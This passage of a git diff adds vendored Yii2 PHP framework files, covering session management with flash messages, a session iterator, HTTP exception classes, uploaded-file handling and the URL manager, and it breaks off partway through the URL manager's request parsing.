Yii::createObject($this->handler); + } + if (!$this->handler instanceof \SessionHandlerInterface) { + throw new InvalidConfigException('"' . get_class($this) . '::handler" must implement the SessionHandlerInterface.'); + } + @session_set_save_handler($this->handler, false); + } elseif ($this->getUseCustomStorage()) { + @session_set_save_handler( + [$this, 'openSession'], + [$this, 'closeSession'], + [$this, 'readSession'], + [$this, 'writeSession'], + [$this, 'destroySession'], + [$this, 'gcSession'] + ); + } + } + + /** + * Ends the current session and store session data. + */ + public function close() + { + if ($this->getIsActive()) { + @session_write_close(); + } + } + + /** + * Frees all session variables and destroys all data registered to a session. + */ + public function destroy() + { + if ($this->getIsActive()) { + @session_unset(); + @session_destroy(); + } + } + + /** + * @return boolean whether the session has started + */ + public function getIsActive() + { + return session_status() == PHP_SESSION_ACTIVE; + } + + private $_hasSessionId; + + /** + * Returns a value indicating whether the current request has sent the session ID. + * The default implementation will check cookie and $_GET using the session name. + * If you send session ID via other ways, you may need to override this method + * or call [[setHasSessionId()]] to explicitly set whether the session ID is sent. + * @return boolean whether the current request has sent the session ID. + */ + public function getHasSessionId() + { + if ($this->_hasSessionId === null) { + $name = $this->getName(); + $request = Yii::$app->getRequest(); + if (ini_get('session.use_cookies') && !empty($_COOKIE[$name])) { + $this->_hasSessionId = true; + } elseif (!ini_get('session.use_only_cookies') && ini_get('session.use_trans_sid')) { + $this->_hasSessionId = $request->get($name) !== null; + } else { + $this->_hasSessionId = false; + } + } + + return $this->_hasSessionId; + } + + /** + * Sets the value indicating whether the current request has sent the session ID. + * This method is provided so that you can override the default way of determining + * whether the session ID is sent. + * @param boolean $value whether the current request has sent the session ID. + */ + public function setHasSessionId($value) + { + $this->_hasSessionId = $value; + } + + /** + * @return string the current session ID + */ + public function getId() + { + return session_id(); + } + + /** + * @param string $value the session ID for the current session + */ + public function setId($value) + { + session_id($value); + } + + /** + * Updates the current session ID with a newly generated one . + * Please refer to for more details. + * @param boolean $deleteOldSession Whether to delete the old associated session file or not. + */ + public function regenerateID($deleteOldSession = false) + { + // add @ to inhibit possible warning due to race condition + // https://github.com/yiisoft/yii2/pull/1812 + @session_regenerate_id($deleteOldSession); + } + + /** + * @return string the current session name + */ + public function getName() + { + return session_name(); + } + + /** + * @param string $value the session name for the current session, must be an alphanumeric string. + * It defaults to "PHPSESSID". + */ + public function setName($value) + { + session_name($value); + } + + /** + * @return string the current session save path, defaults to '/tmp'. + */ + public function getSavePath() + { + return session_save_path(); + } + + /** + * @param string $value the current session save path. This can be either a directory name or a path alias. + * @throws InvalidParamException if the path is not a valid directory + */ + public function setSavePath($value) + { + $path = Yii::getAlias($value); + if (is_dir($path)) { + session_save_path($path); + } else { + throw new InvalidParamException("Session save path is not a valid directory: $value"); + } + } + + /** + * @return array the session cookie parameters. + * @see http://us2.php.net/manual/en/function.session-get-cookie-params.php + */ + public function getCookieParams() + { + return array_merge(session_get_cookie_params(), array_change_key_case($this->_cookieParams)); + } + + /** + * Sets the session cookie parameters. + * The cookie parameters passed to this method will be merged with the result + * of `session_get_cookie_params()`. + * @param array $value cookie parameters, valid keys include: `lifetime`, `path`, `domain`, `secure` and `httponly`. + * @throws InvalidParamException if the parameters are incomplete. + * @see http://us2.php.net/manual/en/function.session-set-cookie-params.php + */ + public function setCookieParams(array $value) + { + $this->_cookieParams = $value; + } + + /** + * Sets the session cookie parameters. + * This method is called by [[open()]] when it is about to open the session. + * @throws InvalidParamException if the parameters are incomplete. + * @see http://us2.php.net/manual/en/function.session-set-cookie-params.php + */ + private function setCookieParamsInternal() + { + $data = $this->getCookieParams(); + extract($data); + if (isset($lifetime, $path, $domain, $secure, $httponly)) { + session_set_cookie_params($lifetime, $path, $domain, $secure, $httponly); + } else { + throw new InvalidParamException('Please make sure cookieParams contains these elements: lifetime, path, domain, secure and httponly.'); + } + } + + /** + * Returns the value indicating whether cookies should be used to store session IDs. + * @return boolean|null the value indicating whether cookies should be used to store session IDs. + * @see setUseCookies() + */ + public function getUseCookies() + { + if (ini_get('session.use_cookies') === '0') { + return false; + } elseif (ini_get('session.use_only_cookies') === '1') { + return true; + } else { + return null; + } + } + + /** + * Sets the value indicating whether cookies should be used to store session IDs. + * Three states are possible: + * + * - true: cookies and only cookies will be used to store session IDs. + * - false: cookies will not be used to store session IDs. + * - null: if possible, cookies will be used to store session IDs; if not, other mechanisms will be used (e.g. GET parameter) + * + * @param boolean|null $value the value indicating whether cookies should be used to store session IDs. + */ + public function setUseCookies($value) + { + if ($value === false) { + ini_set('session.use_cookies', '0'); + ini_set('session.use_only_cookies', '0'); + } elseif ($value === true) { + ini_set('session.use_cookies', '1'); + ini_set('session.use_only_cookies', '1'); + } else { + ini_set('session.use_cookies', '1'); + ini_set('session.use_only_cookies', '0'); + } + } + + /** + * @return float the probability (percentage) that the GC (garbage collection) process is started on every session initialization, defaults to 1 meaning 1% chance. + */ + public function getGCProbability() + { + return (float) (ini_get('session.gc_probability') / ini_get('session.gc_divisor') * 100); + } + + /** + * @param float $value the probability (percentage) that the GC (garbage collection) process is started on every session initialization. + * @throws InvalidParamException if the value is not between 0 and 100. + */ + public function setGCProbability($value) + { + if ($value >= 0 && $value <= 100) { + // percent * 21474837 / 2147483647 ≈ percent * 0.01 + ini_set('session.gc_probability', floor($value * 21474836.47)); + ini_set('session.gc_divisor', 2147483647); + } else { + throw new InvalidParamException('GCProbability must be a value between 0 and 100.'); + } + } + + /** + * @return boolean whether transparent sid support is enabled or not, defaults to false. + */ + public function getUseTransparentSessionID() + { + return ini_get('session.use_trans_sid') == 1; + } + + /** + * @param boolean $value whether transparent sid support is enabled or not. + */ + public function setUseTransparentSessionID($value) + { + ini_set('session.use_trans_sid', $value ? '1' : '0'); + } + + /** + * @return integer the number of seconds after which data will be seen as 'garbage' and cleaned up. + * The default value is 1440 seconds (or the value of "session.gc_maxlifetime" set in php.ini). + */ + public function getTimeout() + { + return (int) ini_get('session.gc_maxlifetime'); + } + + /** + * @param integer $value the number of seconds after which data will be seen as 'garbage' and cleaned up + */ + public function setTimeout($value) + { + ini_set('session.gc_maxlifetime', $value); + } + + /** + * Session open handler. + * This method should be overridden if [[useCustomStorage]] returns true. + * Do not call this method directly. + * @param string $savePath session save path + * @param string $sessionName session name + * @return boolean whether session is opened successfully + */ + public function openSession($savePath, $sessionName) + { + return true; + } + + /** + * Session close handler. + * This method should be overridden if [[useCustomStorage]] returns true. + * Do not call this method directly. + * @return boolean whether session is closed successfully + */ + public function closeSession() + { + return true; + } + + /** + * Session read handler. + * This method should be overridden if [[useCustomStorage]] returns true. + * Do not call this method directly. + * @param string $id session ID + * @return string the session data + */ + public function readSession($id) + { + return ''; + } + + /** + * Session write handler. + * This method should be overridden if [[useCustomStorage]] returns true. + * Do not call this method directly. + * @param string $id session ID + * @param string $data session data + * @return boolean whether session write is successful + */ + public function writeSession($id, $data) + { + return true; + } + + /** + * Session destroy handler. + * This method should be overridden if [[useCustomStorage]] returns true. + * Do not call this method directly. + * @param string $id session ID + * @return boolean whether session is destroyed successfully + */ + public function destroySession($id) + { + return true; + } + + /** + * Session GC (garbage collection) handler. + * This method should be overridden if [[useCustomStorage]] returns true. + * Do not call this method directly. + * @param integer $maxLifetime the number of seconds after which data will be seen as 'garbage' and cleaned up. + * @return boolean whether session is GCed successfully + */ + public function gcSession($maxLifetime) + { + return true; + } + + /** + * Returns an iterator for traversing the session variables. + * This method is required by the interface IteratorAggregate. + * @return SessionIterator an iterator for traversing the session variables. + */ + public function getIterator() + { + $this->open(); + return new SessionIterator; + } + + /** + * Returns the number of items in the session. + * @return integer the number of session variables + */ + public function getCount() + { + $this->open(); + return count($_SESSION); + } + + /** + * Returns the number of items in the session. + * This method is required by Countable interface. + * @return integer number of items in the session. + */ + public function count() + { + return $this->getCount(); + } + + /** + * Returns the session variable value with the session variable name. + * If the session variable does not exist, the `$defaultValue` will be returned. + * @param string $key the session variable name + * @param mixed $defaultValue the default value to be returned when the session variable does not exist. + * @return mixed the session variable value, or $defaultValue if the session variable does not exist. + */ + public function get($key, $defaultValue = null) + { + $this->open(); + return isset($_SESSION[$key]) ? $_SESSION[$key] : $defaultValue; + } + + /** + * Adds a session variable. + * If the specified name already exists, the old value will be overwritten. + * @param string $key session variable name + * @param mixed $value session variable value + */ + public function set($key, $value) + { + $this->open(); + $_SESSION[$key] = $value; + } + + /** + * Removes a session variable. + * @param string $key the name of the session variable to be removed + * @return mixed the removed value, null if no such session variable. + */ + public function remove($key) + { + $this->open(); + if (isset($_SESSION[$key])) { + $value = $_SESSION[$key]; + unset($_SESSION[$key]); + + return $value; + } else { + return null; + } + } + + /** + * Removes all session variables + */ + public function removeAll() + { + $this->open(); + foreach (array_keys($_SESSION) as $key) { + unset($_SESSION[$key]); + } + } + + /** + * @param mixed $key session variable name + * @return boolean whether there is the named session variable + */ + public function has($key) + { + $this->open(); + return isset($_SESSION[$key]); + } + + /** + * Updates the counters for flash messages and removes outdated flash messages. + * This method should only be called once in [[init()]]. + */ + protected function updateFlashCounters() + { + $counters = $this->get($this->flashParam, []); + if (is_array($counters)) { + foreach ($counters as $key => $count) { + if ($count > 0) { + unset($counters[$key], $_SESSION[$key]); + } elseif ($count == 0) { + $counters[$key]++; + } + } + $_SESSION[$this->flashParam] = $counters; + } else { + // fix the unexpected problem that flashParam doesn't return an array + unset($_SESSION[$this->flashParam]); + } + } + + /** + * Returns a flash message. + * @param string $key the key identifying the flash message + * @param mixed $defaultValue value to be returned if the flash message does not exist. + * @param boolean $delete whether to delete this flash message right after this method is called. + * If false, the flash message will be automatically deleted in the next request. + * @return mixed the flash message or an array of messages if addFlash was used + * @see setFlash() + * @see addFlash() + * @see hasFlash() + * @see getAllFlashes() + * @see removeFlash() + */ + public function getFlash($key, $defaultValue = null, $delete = false) + { + $counters = $this->get($this->flashParam, []); + if (isset($counters[$key])) { + $value = $this->get($key, $defaultValue); + if ($delete) { + $this->removeFlash($key); + } elseif ($counters[$key] < 0) { + // mark for deletion in the next request + $counters[$key] = 1; + $_SESSION[$this->flashParam] = $counters; + } + + return $value; + } else { + return $defaultValue; + } + } + + /** + * Returns all flash messages. + * + * You may use this method to display all the flash messages in a view file: + * + * ```php + * session->getAllFlashes() as $key => $message) { + * echo '
              ' . $message . '
              '; + * } ?> + * ``` + * + * With the above code you can use the [bootstrap alert][] classes such as `success`, `info`, `danger` + * as the flash message key to influence the color of the div. + * + * Note that if you use [[addFlash()]], `$message` will be an array, and you will have to adjust the above code. + * + * [bootstrap alert]: http://getbootstrap.com/components/#alerts + * + * @param boolean $delete whether to delete the flash messages right after this method is called. + * If false, the flash messages will be automatically deleted in the next request. + * @return array flash messages (key => message or key => [message1, message2]). + * @see setFlash() + * @see addFlash() + * @see getFlash() + * @see hasFlash() + * @see removeFlash() + */ + public function getAllFlashes($delete = false) + { + $counters = $this->get($this->flashParam, []); + $flashes = []; + foreach (array_keys($counters) as $key) { + if (array_key_exists($key, $_SESSION)) { + $flashes[$key] = $_SESSION[$key]; + if ($delete) { + unset($counters[$key], $_SESSION[$key]); + } elseif ($counters[$key] < 0) { + // mark for deletion in the next request + $counters[$key] = 1; + } + } else { + unset($counters[$key]); + } + } + + $_SESSION[$this->flashParam] = $counters; + + return $flashes; + } + + /** + * Sets a flash message. + * A flash message will be automatically deleted after it is accessed in a request and the deletion will happen + * in the next request. + * If there is already an existing flash message with the same key, it will be overwritten by the new one. + * @param string $key the key identifying the flash message. Note that flash messages + * and normal session variables share the same name space. If you have a normal + * session variable using the same name, its value will be overwritten by this method. + * @param mixed $value flash message + * @param boolean $removeAfterAccess whether the flash message should be automatically removed only if + * it is accessed. If false, the flash message will be automatically removed after the next request, + * regardless if it is accessed or not. If true (default value), the flash message will remain until after + * it is accessed. + * @see getFlash() + * @see addFlash() + * @see removeFlash() + */ + public function setFlash($key, $value = true, $removeAfterAccess = true) + { + $counters = $this->get($this->flashParam, []); + $counters[$key] = $removeAfterAccess ? -1 : 0; + $_SESSION[$key] = $value; + $_SESSION[$this->flashParam] = $counters; + } + + /** + * Adds a flash message. + * If there are existing flash messages with the same key, the new one will be appended to the existing message array. + * @param string $key the key identifying the flash message. + * @param mixed $value flash message + * @param boolean $removeAfterAccess whether the flash message should be automatically removed only if + * it is accessed. If false, the flash message will be automatically removed after the next request, + * regardless if it is accessed or not. If true (default value), the flash message will remain until after + * it is accessed. + * @see getFlash() + * @see setFlash() + * @see removeFlash() + */ + public function addFlash($key, $value = true, $removeAfterAccess = true) + { + $counters = $this->get($this->flashParam, []); + $counters[$key] = $removeAfterAccess ? -1 : 0; + $_SESSION[$this->flashParam] = $counters; + if (empty($_SESSION[$key])) { + $_SESSION[$key] = [$value]; + } else { + if (is_array($_SESSION[$key])) { + $_SESSION[$key][] = $value; + } else { + $_SESSION[$key] = [$_SESSION[$key], $value]; + } + } + } + + /** + * Removes a flash message. + * @param string $key the key identifying the flash message. Note that flash messages + * and normal session variables share the same name space. If you have a normal + * session variable using the same name, it will be removed by this method. + * @return mixed the removed flash message. Null if the flash message does not exist. + * @see getFlash() + * @see setFlash() + * @see addFlash() + * @see removeAllFlashes() + */ + public function removeFlash($key) + { + $counters = $this->get($this->flashParam, []); + $value = isset($_SESSION[$key], $counters[$key]) ? $_SESSION[$key] : null; + unset($counters[$key], $_SESSION[$key]); + $_SESSION[$this->flashParam] = $counters; + + return $value; + } + + /** + * Removes all flash messages. + * Note that flash messages and normal session variables share the same name space. + * If you have a normal session variable using the same name, it will be removed + * by this method. + * @see getFlash() + * @see setFlash() + * @see addFlash() + * @see removeFlash() + */ + public function removeAllFlashes() + { + $counters = $this->get($this->flashParam, []); + foreach (array_keys($counters) as $key) { + unset($_SESSION[$key]); + } + unset($_SESSION[$this->flashParam]); + } + + /** + * Returns a value indicating whether there are flash messages associated with the specified key. + * @param string $key key identifying the flash message type + * @return boolean whether any flash messages exist under specified key + */ + public function hasFlash($key) + { + return $this->getFlash($key) !== null; + } + + /** + * This method is required by the interface ArrayAccess. + * @param mixed $offset the offset to check on + * @return boolean + */ + public function offsetExists($offset) + { + $this->open(); + + return isset($_SESSION[$offset]); + } + + /** + * This method is required by the interface ArrayAccess. + * @param integer $offset the offset to retrieve element. + * @return mixed the element at the offset, null if no element is found at the offset + */ + public function offsetGet($offset) + { + $this->open(); + + return isset($_SESSION[$offset]) ? $_SESSION[$offset] : null; + } + + /** + * This method is required by the interface ArrayAccess. + * @param integer $offset the offset to set element + * @param mixed $item the element value + */ + public function offsetSet($offset, $item) + { + $this->open(); + $_SESSION[$offset] = $item; + } + + /** + * This method is required by the interface ArrayAccess. + * @param mixed $offset the offset to unset element + */ + public function offsetUnset($offset) + { + $this->open(); + unset($_SESSION[$offset]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/SessionIterator.php b/php/yii2/basic/vendor/yiisoft/yii2/web/SessionIterator.php new file mode 100644 index 00000000..69911d33 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/SessionIterator.php @@ -0,0 +1,85 @@ + + * @since 2.0 + */ +class SessionIterator implements \Iterator +{ + /** + * @var array list of keys in the map + */ + private $_keys; + /** + * @var mixed current key + */ + private $_key; + + + /** + * Constructor. + */ + public function __construct() + { + $this->_keys = array_keys($_SESSION); + } + + /** + * Rewinds internal array pointer. + * This method is required by the interface Iterator. + */ + public function rewind() + { + $this->_key = reset($this->_keys); + } + + /** + * Returns the key of the current array element. + * This method is required by the interface Iterator. + * @return mixed the key of the current array element + */ + public function key() + { + return $this->_key; + } + + /** + * Returns the current array element. + * This method is required by the interface Iterator. + * @return mixed the current array element + */ + public function current() + { + return isset($_SESSION[$this->_key]) ? $_SESSION[$this->_key] : null; + } + + /** + * Moves the internal pointer to the next array element. + * This method is required by the interface Iterator. + */ + public function next() + { + do { + $this->_key = next($this->_keys); + } while (!isset($_SESSION[$this->_key]) && $this->_key !== false); + } + + /** + * Returns whether there is an element at current position. + * This method is required by the interface Iterator. + * @return boolean + */ + public function valid() + { + return $this->_key !== false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/TooManyRequestsHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/TooManyRequestsHttpException.php new file mode 100644 index 00000000..a53e1d01 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/TooManyRequestsHttpException.php @@ -0,0 +1,33 @@ + + * @since 2.0 + */ +class TooManyRequestsHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(429, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/UnauthorizedHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/UnauthorizedHttpException.php new file mode 100644 index 00000000..b21c42dd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/UnauthorizedHttpException.php @@ -0,0 +1,34 @@ + + * @since 2.0 + */ +class UnauthorizedHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(401, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/UnsupportedMediaTypeHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/UnsupportedMediaTypeHttpException.php new file mode 100644 index 00000000..2e75f821 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/UnsupportedMediaTypeHttpException.php @@ -0,0 +1,34 @@ + + * @since 2.0 + */ +class UnsupportedMediaTypeHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(415, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/UploadedFile.php b/php/yii2/basic/vendor/yiisoft/yii2/web/UploadedFile.php new file mode 100644 index 00000000..39f196dd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/UploadedFile.php @@ -0,0 +1,236 @@ + + * @since 2.0 + */ +class UploadedFile extends Object +{ + /** + * @var string the original name of the file being uploaded + */ + public $name; + /** + * @var string the path of the uploaded file on the server. + * Note, this is a temporary file which will be automatically deleted by PHP + * after the current request is processed. + */ + public $tempName; + /** + * @var string the MIME-type of the uploaded file (such as "image/gif"). + * Since this MIME type is not checked on the server side, do not take this value for granted. + * Instead, use [[\yii\helpers\FileHelper::getMimeType()]] to determine the exact MIME type. + */ + public $type; + /** + * @var integer the actual size of the uploaded file in bytes + */ + public $size; + /** + * @var integer an error code describing the status of this file uploading. + * @see http://www.php.net/manual/en/features.file-upload.errors.php + */ + public $error; + + private static $_files; + + + /** + * String output. + * This is PHP magic method that returns string representation of an object. + * The implementation here returns the uploaded file's name. + * @return string the string representation of the object + */ + public function __toString() + { + return $this->name; + } + + /** + * Returns an uploaded file for the given model attribute. + * The file should be uploaded using [[\yii\widgets\ActiveField::fileInput()]]. + * @param \yii\base\Model $model the data model + * @param string $attribute the attribute name. The attribute name may contain array indexes. + * For example, '[1]file' for tabular file uploading; and 'file[1]' for an element in a file array. + * @return UploadedFile the instance of the uploaded file. + * Null is returned if no file is uploaded for the specified model attribute. + * @see getInstanceByName() + */ + public static function getInstance($model, $attribute) + { + $name = Html::getInputName($model, $attribute); + return static::getInstanceByName($name); + } + + /** + * Returns all uploaded files for the given model attribute. + * @param \yii\base\Model $model the data model + * @param string $attribute the attribute name. The attribute name may contain array indexes + * for tabular file uploading, e.g. '[1]file'. + * @return UploadedFile[] array of UploadedFile objects. + * Empty array is returned if no available file was found for the given attribute. + */ + public static function getInstances($model, $attribute) + { + $name = Html::getInputName($model, $attribute); + return static::getInstancesByName($name); + } + + /** + * Returns an uploaded file according to the given file input name. + * The name can be a plain string or a string like an array element (e.g. 'Post[imageFile]', or 'Post[0][imageFile]'). + * @param string $name the name of the file input field. + * @return UploadedFile the instance of the uploaded file. + * Null is returned if no file is uploaded for the specified name. + */ + public static function getInstanceByName($name) + { + $files = self::loadFiles(); + return isset($files[$name]) ? $files[$name] : null; + } + + /** + * Returns an array of uploaded files corresponding to the specified file input name. + * This is mainly used when multiple files were uploaded and saved as 'files[0]', 'files[1]', + * 'files[n]'..., and you can retrieve them all by passing 'files' as the name. + * @param string $name the name of the array of files + * @return UploadedFile[] the array of CUploadedFile objects. Empty array is returned + * if no adequate upload was found. Please note that this array will contain + * all files from all sub-arrays regardless how deeply nested they are. + */ + public static function getInstancesByName($name) + { + $files = self::loadFiles(); + if (isset($files[$name])) { + return [$files[$name]]; + } + $results = []; + foreach ($files as $key => $file) { + if (strpos($key, "{$name}[") === 0) { + $results[] = $file; + } + } + return $results; + } + + /** + * Cleans up the loaded UploadedFile instances. + * This method is mainly used by test scripts to set up a fixture. + */ + public static function reset() + { + self::$_files = null; + } + + /** + * Saves the uploaded file. + * Note that this method uses php's move_uploaded_file() method. If the target file `$file` + * already exists, it will be overwritten. + * @param string $file the file path used to save the uploaded file + * @param boolean $deleteTempFile whether to delete the temporary file after saving. + * If true, you will not be able to save the uploaded file again in the current request. + * @return boolean true whether the file is saved successfully + * @see error + */ + public function saveAs($file, $deleteTempFile = true) + { + if ($this->error == UPLOAD_ERR_OK) { + if ($deleteTempFile) { + return move_uploaded_file($this->tempName, $file); + } elseif (is_uploaded_file($this->tempName)) { + return copy($this->tempName, $file); + } + } + return false; + } + + /** + * @return string original file base name + */ + public function getBaseName() + { + return pathinfo($this->name, PATHINFO_FILENAME); + } + + /** + * @return string file extension + */ + public function getExtension() + { + return strtolower(pathinfo($this->name, PATHINFO_EXTENSION)); + } + + /** + * @return boolean whether there is an error with the uploaded file. + * Check [[error]] for detailed error code information. + */ + public function getHasError() + { + return $this->error != UPLOAD_ERR_OK; + } + + /** + * Creates UploadedFile instances from $_FILE. + * @return array the UploadedFile instances + */ + private static function loadFiles() + { + if (self::$_files === null) { + self::$_files = []; + if (isset($_FILES) && is_array($_FILES)) { + foreach ($_FILES as $class => $info) { + self::loadFilesRecursive($class, $info['name'], $info['tmp_name'], $info['type'], $info['size'], $info['error']); + } + } + } + return self::$_files; + } + + /** + * Creates UploadedFile instances from $_FILE recursively. + * @param string $key key for identifying uploaded file: class name and sub-array indexes + * @param mixed $names file names provided by PHP + * @param mixed $tempNames temporary file names provided by PHP + * @param mixed $types file types provided by PHP + * @param mixed $sizes file sizes provided by PHP + * @param mixed $errors uploading issues provided by PHP + */ + private static function loadFilesRecursive($key, $names, $tempNames, $types, $sizes, $errors) + { + if (is_array($names)) { + foreach ($names as $i => $name) { + self::loadFilesRecursive($key . '[' . $i . ']', $name, $tempNames[$i], $types[$i], $sizes[$i], $errors[$i]); + } + } elseif ($errors !== UPLOAD_ERR_NO_FILE) { + self::$_files[$key] = new static([ + 'name' => $names, + 'tempName' => $tempNames, + 'type' => $types, + 'size' => $sizes, + 'error' => $errors, + ]); + } + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/UrlManager.php b/php/yii2/basic/vendor/yiisoft/yii2/web/UrlManager.php new file mode 100644 index 00000000..359e6acb --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/UrlManager.php @@ -0,0 +1,462 @@ +urlManager`. + * + * You can modify its configuration by adding an array to your application config under `components` + * as it is shown in the following example: + * + * ~~~ + * 'urlManager' => [ + * 'enablePrettyUrl' => true, + * 'rules' => [ + * // your rules go here + * ], + * // ... + * ] + * ~~~ + * + * @property string $baseUrl The base URL that is used by [[createUrl()]] to prepend to created URLs. + * @property string $hostInfo The host info (e.g. "http://www.example.com") that is used by + * [[createAbsoluteUrl()]] to prepend to created URLs. + * @property string $scriptUrl The entry script URL that is used by [[createUrl()]] to prepend to created + * URLs. + * + * @author Qiang Xue + * @since 2.0 + */ +class UrlManager extends Component +{ + /** + * @var boolean whether to enable pretty URLs. Instead of putting all parameters in the query + * string part of a URL, pretty URLs allow using path info to represent some of the parameters + * and can thus produce more user-friendly URLs, such as "/news/Yii-is-released", instead of + * "/index.php?r=news/view&id=100". + */ + public $enablePrettyUrl = false; + /** + * @var boolean whether to enable strict parsing. If strict parsing is enabled, the incoming + * requested URL must match at least one of the [[rules]] in order to be treated as a valid request. + * Otherwise, the path info part of the request will be treated as the requested route. + * This property is used only when [[enablePrettyUrl]] is true. + */ + public $enableStrictParsing = false; + /** + * @var array the rules for creating and parsing URLs when [[enablePrettyUrl]] is true. + * This property is used only if [[enablePrettyUrl]] is true. Each element in the array + * is the configuration array for creating a single URL rule. The configuration will + * be merged with [[ruleConfig]] first before it is used for creating the rule object. + * + * A special shortcut format can be used if a rule only specifies [[UrlRule::pattern|pattern]] + * and [[UrlRule::route|route]]: `'pattern' => 'route'`. That is, instead of using a configuration + * array, one can use the key to represent the pattern and the value the corresponding route. + * For example, `'post/' => 'post/view'`. + * + * For RESTful routing the mentioned shortcut format also allows you to specify the + * [[UrlRule::verb|HTTP verb]] that the rule should apply for. + * You can do that by prepending it to the pattern, separated by space. + * For example, `'PUT post/' => 'post/update'`. + * You may specify multiple verbs by separating them with comma + * like this: `'POST,PUT post/index' => 'post/create'`. + * The supported verbs in the shortcut format are: GET, HEAD, POST, PUT, PATCH and DELETE. + * Note that [[UrlRule::mode|mode]] will be set to PARSING_ONLY when specifying verb in this way + * so you normally would not specify a verb for normal GET request. + * + * Here is an example configuration for RESTful CRUD controller: + * + * ~~~php + * [ + * 'dashboard' => 'site/index', + * + * 'POST s' => '/create', + * 's' => '/index', + * + * 'PUT /' => '/update', + * 'DELETE /' => '/delete', + * '/' => '/view', + * ]; + * ~~~ + * + * Note that if you modify this property after the UrlManager object is created, make sure + * you populate the array with rule objects instead of rule configurations. + */ + public $rules = []; + /** + * @var string the URL suffix used when in 'path' format. + * For example, ".html" can be used so that the URL looks like pointing to a static HTML page. + * This property is used only if [[enablePrettyUrl]] is true. + */ + public $suffix; + /** + * @var boolean whether to show entry script name in the constructed URL. Defaults to true. + * This property is used only if [[enablePrettyUrl]] is true. + */ + public $showScriptName = true; + /** + * @var string the GET parameter name for route. This property is used only if [[enablePrettyUrl]] is false. + */ + public $routeParam = 'r'; + /** + * @var Cache|string the cache object or the application component ID of the cache object. + * Compiled URL rules will be cached through this cache object, if it is available. + * + * After the UrlManager object is created, if you want to change this property, + * you should only assign it with a cache object. + * Set this property to false if you do not want to cache the URL rules. + */ + public $cache = 'cache'; + /** + * @var array the default configuration of URL rules. Individual rule configurations + * specified via [[rules]] will take precedence when the same property of the rule is configured. + */ + public $ruleConfig = ['class' => 'yii\web\UrlRule']; + + private $_baseUrl; + private $_scriptUrl; + private $_hostInfo; + + + /** + * Initializes UrlManager. + */ + public function init() + { + parent::init(); + + if (!$this->enablePrettyUrl || empty($this->rules)) { + return; + } + if (is_string($this->cache)) { + $this->cache = Yii::$app->get($this->cache, false); + } + if ($this->cache instanceof Cache) { + $cacheKey = __CLASS__; + $hash = md5(json_encode($this->rules)); + if (($data = $this->cache->get($cacheKey)) !== false && isset($data[1]) && $data[1] === $hash) { + $this->rules = $data[0]; + } else { + $this->rules = $this->buildRules($this->rules); + $this->cache->set($cacheKey, [$this->rules, $hash]); + } + } else { + $this->rules = $this->buildRules($this->rules); + } + } + + /** + * Adds additional URL rules. + * + * This method will call [[buildRules()]] to parse the given rule declarations and then append or insert + * them to the existing [[rules]]. + * + * Note that if [[enablePrettyUrl]] is false, this method will do nothing. + * + * @param array $rules the new rules to be added. Each array element represents a single rule declaration. + * Please refer to [[rules]] for the acceptable rule format. + * @param boolean $append whether to add the new rules by appending them to the end of the existing rules. + */ + public function addRules($rules, $append = true) + { + if (!$this->enablePrettyUrl) { + return; + } + $rules = $this->buildRules($rules); + if ($append) { + $this->rules = array_merge($this->rules, $rules); + } else { + $this->rules = array_merge($rules, $this->rules); + } + } + + /** + * Builds URL rule objects from the given rule declarations. + * @param array $rules the rule declarations. Each array element represents a single rule declaration. + * Please refer to [[rules]] for the acceptable rule formats. + * @return UrlRuleInterface[] the rule objects built from the given rule declarations + * @throws InvalidConfigException if a rule declaration is invalid + */ + protected function buildRules($rules) + { + $compiledRules = []; + $verbs = 'GET|HEAD|POST|PUT|PATCH|DELETE|OPTIONS'; + foreach ($rules as $key => $rule) { + if (is_string($rule)) { + $rule = ['route' => $rule]; + if (preg_match("/^((?:($verbs),)*($verbs))\\s+(.*)$/", $key, $matches)) { + $rule['verb'] = explode(',', $matches[1]); + if (!in_array('GET', $rule['verb'])) { + $rule['mode'] = UrlRule::PARSING_ONLY; + } + $key = $matches[4]; + } + $rule['pattern'] = $key; + } + if (is_array($rule)) { + $rule = Yii::createObject(array_merge($this->ruleConfig, $rule)); + } + if (!$rule instanceof UrlRuleInterface) { + throw new InvalidConfigException('URL rule class must implement UrlRuleInterface.'); + } + $compiledRules[] = $rule; + } + return $compiledRules; + } + + /** + * Parses the user request. + * @param Request $request the request component + * @return array|boolean the route and the associated parameters. The latter is always empty + * if [[enablePrettyUrl]] is false. False is returned if the current request cannot be successfully parsed. + */ + public function parseRequest($request) + { + if ($this->enablePrettyUrl) { + $pathInfo = $request->getPathInfo(); + /* @var $rule UrlRule */ + foreach ($this->rules as $rule) { + if (($result = $rule->parseRequest($this, $request)) !== false) { + return $result; + } + } + + if ($this->enableStrictParsing) { + return false; + } + + Yii::trace('No matching URL rules. Using default URL parsing logic.', __METHOD__); + + $suffix = (string) $this->suffix; + if ($suffix !== '' && $pathInfo !== '') { + $n = strlen($this->suffix); + if (substr_compare($pathInfo, $this->suffix, -$n, $n) === 0) { + $pathInfo = 